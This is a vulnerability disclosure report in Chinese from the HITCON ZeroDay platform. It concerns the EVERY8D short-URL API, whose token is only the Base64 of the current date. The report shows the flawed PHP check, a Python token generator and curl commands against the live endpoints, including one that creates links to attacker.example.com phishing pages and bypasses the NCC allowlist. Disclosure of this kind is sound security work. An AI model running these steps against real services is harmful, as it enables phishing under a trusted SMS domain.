Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00638
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D 短網址服務可預測 Token 導致未授權任意短網址建立
- Introduction: 短網址 API 使用當天日期的 Base64 作為 token,任何人均可即時計算有效值並在官方域名下建立惡意短網址。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/05/07 01:52:03 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:56:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:55:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:55:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:55:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:22:59 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:13:08 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:15:46 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:31:35 : 未修補完成 (由 罐頭 更新此狀態)
- 2026/08/12 14:20:43 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/26 11:46:45 : 未修補完成 (由 罐頭 更新此狀態)
- 2026/08/26 20:40:22 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/09/13 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00638
- 通報者:guan4tou2 (罐頭)
- 風險:高
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
https://saf.tw/getshorturl
敘述
漏洞概述
EVERY8D 短網址服務(s.e8d.tw 及 saf.tw)的 API 認證機制使用 base64_encode(date('m/d/Y')) 作為 token,即當天日期的 Base64 編碼。任何人均可即時計算有效 token,在官方域名下建立指向任意 URL 的短網址,可用於釣魚攻擊或 NCC 電信白名單規避。
漏洞來源:透過 .git/ 目錄暴露(另一份通報已涵蓋)還原原始碼後發現,並於線上實測確認。
受影響端點
POST https://s.e8d.tw/getshorturl(消費者版,官方簡訊短網址)POST https://saf.tw/getshorturl(企業版,同一份程式碼)
漏洞根因(原始碼)
從 .git/ 目錄還原的 app/modules/getshorturl.php(第 40-48 行):
//先判斷token是否有效
if(base64_encode(date('m/d/Y')) != $token)
{
//token無效
$resp['status']="303";
$resp['message']=_TOKENERROR;
echo RespJson($f3,$resp);
return;
}
date('m/d/Y') 在 2026-04-29 回傳 04/29/2026,Base64 後為 MDQvMjkvMjAyNg==。此值每天午夜自動更換,但任何人均可即時計算當天有效值。
重現步驟(Live verified: 2026-04-29)
步驟 1:計算當日有效 Token
python3 -c "import base64, datetime; d = datetime.datetime.now().strftime('%m/%d/%Y'); print(base64.b64encode(d.encode()).decode())"
輸出(2026-04-29):MDQvMjkvMjAyNg==
步驟 2:呼叫 API 建立任意短網址
curl -s -X POST "https://s.e8d.tw/getshorturl" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"test","urls":["https://example.com"]}'
回應:
{
"status": "200",
"message": "成功",
"data": [
{
"org_url": "https%3A%2F%2Fexample.com",
"short_url": "https://s.e8d.tw/5VHEU"
}
]
}
步驟 3:確認短網址執行 302 重定向
curl -siL "https://s.e8d.tw/5VHEU"
回應:HTTP/1.1 302 Found / Location: https://example.com/
步驟 4:saf.tw 企業版同樣受影響(雙域名確認)
curl -s -X POST "https://saf.tw/getshorturl" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"test","urls":["https://example.com"]}'
回應:{"status":"200","message":"成功","data":[{"org_url":"...","short_url":"https://saf.tw/W9E40"}]}
步驟 5:批次建立多個短網址(含 reason=3 NCC 繞過)
curl -s -X POST "https://s.e8d.tw/getshorturl" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"token":"MDQvMjkvMjAyNg==","remark":"phish","reason":"3","urls":["https://attacker.example.com/phishing","https://attacker.example.com/fake-login"]}'
reason=3 為「未過 NCC 白名單的 domain」,可繞過電信主管機關網域白名單限制。
已驗證影響(Verified)
- 計算 token 無需任何憑證,僅需知道當天日期
POST s.e8d.tw/getshorturl成功回應 HTTP 200 + 短網址(2026-04-29 10:15 實測)- 建立的短網址
https://s.e8d.tw/5VHEU正常執行 302 重定向 POST saf.tw/getshorturl成功(2026-04-29 11:13 實測):建立https://saf.tw/W9E40reason=3可用於建立指向非 NCC 白名單域名的短網址
潛在影響(Potential)
- 釣魚攻擊:攻擊者建立
s.e8d.tw/XXXXX指向釣魚頁面;因s.e8d.tw為 EVERY8D 官方域名,簡訊收件人高度信任此類短網址 - NCC 白名單規避:
reason=3允許建立原本應被電信監管機制攔截的惡意域名短網址 - 品牌聲譽損害:大量建立垃圾或惡意短網址,損害官方域名信譽
修補建議
1. 立即停用現有 base64(date()) token 機制。
2. 改用真正的 API 金鑰(長隨機字串,儲存於資料庫)或 JWT 搭配強簽名金鑰。
3. 加入 IP 白名單限制,只允許已知內部或合作夥伴 IP 呼叫 API。
4. 稽核現有短網址資料庫,檢查是否有惡意或不當重定向目標。
5. reason=3 的 NCC 白名單繞過機制應重新評估,非授權呼叫者不應可指定此參數。